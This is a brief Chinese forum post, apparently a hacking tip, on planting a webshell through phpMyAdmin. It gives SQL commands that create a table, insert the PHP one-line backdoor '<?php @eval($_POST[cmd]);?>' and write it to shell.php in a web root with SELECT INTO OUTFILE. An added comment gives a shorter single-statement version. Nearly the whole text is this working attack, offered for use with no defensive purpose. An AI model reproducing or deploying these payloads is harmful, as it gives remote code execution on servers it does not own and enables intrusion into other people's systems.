Posted by 小拳头
进去后
SQL代码
- Create TABLE b (cmd text NOT NULL);
SQL代码
- Insert INTO b (cmd) VALUES('<?php @eval($_POST[cmd]);?>');
//在字段cmd中插入一句话木马，木马内容为
PHP代码
- <?php @eval($_POST[cmd]);?>
前3句都尅执行成功最后一句执行后显示空白
SQL代码
- select cmd from b into outfile 'E:\wwwroot\phpcms\phpcms\shell.php';
Tr4c3注：很早以前在phpmyadmin得webshell的方法,这样写太冗繁了，用下面的一句就可以了。
SELECT "<?eval($_POST[cmd]);" INTO OUTFILE 'E:\\wwwroot\\phpcms\\phpcms\\shell.php';
